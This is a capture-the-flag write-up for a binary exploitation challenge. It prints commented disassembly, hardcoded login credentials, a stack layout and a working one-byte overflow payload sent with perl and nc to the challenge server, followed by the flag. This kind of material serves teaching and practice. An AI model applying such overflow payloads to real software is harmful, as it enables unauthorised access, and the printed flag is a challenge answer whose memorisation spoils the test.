Description
Description: Are you admin?
nc challs.ctf.site 20000Attachment: pwn50
Resolution
Ok we first disassembled the file, this is the commented result (addresses were removed for more readability):
<+0>: push rbp <+1>: mov rbp,rsp <+4>: push rbx <+5>: sub rsp,0xe8 <+12>: mov DWORD PTR [rbp-0xe4],edi <+18>: mov QWORD PTR [rbp-0xf0],rsi <+25>: mov rax,QWORD PTR fs:0x28 <+34>: mov QWORD PTR [rbp-0x18],rax <+38>: xor eax,eax <+40>: mov DWORD PTR [rbp-0xdc],0x0 <+50>: mov esi,0x400a04 <+55>: mov edi,0x400a06 <+60>: call 0x4006a0 <fopen@plt> ; fopen("flag.txt", "r") <+65>: mov QWORD PTR [rbp-0xd8],rax <+72>: cmp QWORD PTR [rbp-0xd8],0x0 <+80>: je 0x400947 <main+426> ; if fopen() failed goto end <+86>: mov rdx,QWORD PTR [rbp-0xd8] <+93>: lea rax,[rbp-0xa0] ; flag <+100>: mov esi,0x20 <+105>: mov rdi,rax <+108>: call 0x400670 <fgets@plt> ; fgets(&flag, flag) <+113>: mov rax,QWORD PTR [rbp-0xd8] <+120>: mov rdi,rax <+123>: call 0x400620 <fclose@plt> ; fclose() <+128>: lea rdx,[rbp-0xd0] <+135>: mov eax,0x0 <+140>: mov ecx,0x5 <+145>: mov rdi,rdx <+148>: rep stos QWORD PTR es:[rdi],rax <+151>: mov rdx,rdi <+154>: mov DWORD PTR [rdx],eax <+156>: add rdx,0x4 <+160>: mov DWORD PTR [rbp-0xd0],0x11 ; username_size <+170>: mov DWORD PTR [rbp-0xbc],0x10 ; password_size <+180>: mov DWORD PTR [rbp-0xa8],0x0 <+190>: mov edi,0x400a0f <+195>: mov eax,0x0 <+200>: call 0x400640 <printf@plt> ; printf("User :") <+205>: mov edi,0x0 <+210>: call 0x400690 <fflush@plt> <+215>: mov eax,DWORD PTR [rbp-0xd0] <+221>: cdqe <+223>: lea rdx,[rbp-0xd0] ; rdx = 0x7fffffffdd80 -> 0x11 <+230>: lea rcx,[rdx+0x4] ; rcx = 0x7fffffffdd84 <+234>: mov rdx,rax ; rdx = 0x11 <+237>: mov rsi,rcx ; rsi = 0x7fffffffdd84 <+240>: mov edi,0x0 ; rdi = 0x00 <+245>: call 0x400650 <read@plt> ; read(0, 0x7fffffffdd84, 17) <+250>: mov edi,0x400a17 <+255>: mov eax,0x0 <+260>: call 0x400640 <printf@plt> ; printf("Password :") <+265>: mov edi,0x0 <+270>: call 0x400690 <fflush@plt> <+275>: mov eax,DWORD PTR [rbp-0xbc] <+281>: cdqe <+283>: lea rdx,[rbp-0xd0] <+290>: lea rcx,[rdx+0x18] <+294>: mov rdx,rax <+297>: mov rsi,rcx <+300>: mov edi,0x0 <+305>: call 0x400650 <read@plt> ; read(0, 0x00000000004008ce, 16) <+310>: lea rax,[rbp-0xd0] <+317>: add rax,0x4 <+321>: mov edx,0x6 <+326>: mov esi,0x400a23 ; "charly"; <+331>: mov rdi,rax <+334>: call 0x400600 <strncmp@plt> ; strncmp(username, "charly", 6) <+339>: test eax,eax <+341>: jne 0x400945 <main+424> <+343>: lea rax,[rbp-0xd0] <+350>: add rax,0x18 <+354>: mov edx,0x8 <+359>: mov esi,0x400a2a ; "h4ckTH1s" <+364>: mov rdi,rax <+367>: call 0x400600 <strncmp@plt> ; strncmp(password, "h4ckTH1s", 8) <+372>: test eax,eax <+374>: jne 0x400945 <main+424> <+376>: mov edi,0x400a33 <+381>: call 0x400610 <puts@plt> ; puts("Welcome guest") <+386>: mov eax,DWORD PTR [rbp-0xa8] <+392>: cmp eax,0x1 ; TODO ! <+395>: jne 0x400945 <main+424> <+397>: lea rax,[rbp-0xa0] ; flag <+404>: mov rsi,rax <+407>: mov edi,0x400a42 <+412>: mov eax,0x0 <+417>: call 0x400640 <printf@plt> ; printf(flag) <+422>: jmp 0x400951 <main+436> <+424>: jmp 0x400951 <main+436> <+426>: mov edi,0x400a55 <+431>: call 0x400610 <puts@plt> ; puts("Error leyendo datos") // Error reading data <+436>: mov eax,0x0 <+441>: mov rbx,QWORD PTR [rbp-0x18] <+445>: xor rbx,QWORD PTR fs:0x28 <+454>: je 0x40096a <main+461> <+456>: call 0x400630 <__stack_chk_fail@plt> <+461>: add rsp,0xe8 <+468>: pop rbx <+469>: pop rbp <+470>: ret
Ok, let’s see what’s going on here. The file flag.txt is opened, and its content is saved in ebp-0xa0.
Then at lines +160 and +170 are stored username and password sizes. We are then asked for our username and our password.
Our first 6 bytes of the username is compared to charly and our 8 first bytes of the password is compared to h4ckTH1s. If it’s correct, it prints Welcome guest. Then rbp-0xa8 is compared to 1. If it’s true, flag is printed, else it exists.
Our goal is to write 1 at rbp-0xa8
Let’s see our stack at this point :
+------------+ | size_user | RBP - 0xd0 +------------+ | | +------------+ | myUser\n | RBP - 0xcc +------------+ | | +------------+ | size_pass | RBP - 0xbc +------------+ | | +------------+ | myPass\n | RBP - 0xb8 +------------+ | | +------------+ | 00000000 | RBP - 0xa8 +------------+ | | | | | | | | RBP = 0x7fffffffde50 +------------+
This is what the stack looks like, given every information of our disassembled binary.
We can see that rbp-0xa8 is right after our password. Since our password must be 0x10 long, our null byte termination will overwrite rbp-0xa8 but it will still be 0x00, instead of 0x01.
Our username size limit is 0x11 though, and size_pass is stored 0x10 bytes after our username buffer. So we can overwrite size_pass with the 11th byte of our user ! We will overwrite it with 0x11 instead of 0x10.
One more byte is enough, this byte will be 0x01 to overwrite rbp-0xa8. This is what it looks like :
$ perl -e 'print "charlyaaaaaaaaaa\x11" . "h4ckTH1saaaaaaaa\x01"' > in.txt $ nc challs.ctf.site 20000 < in.txt User : Password : Welcome guest! Your flag is : EKO{Back_to_r00000ooooo00000tS}
This is it, here is our flag
EKO{Back_to_r00000ooooo00000tS}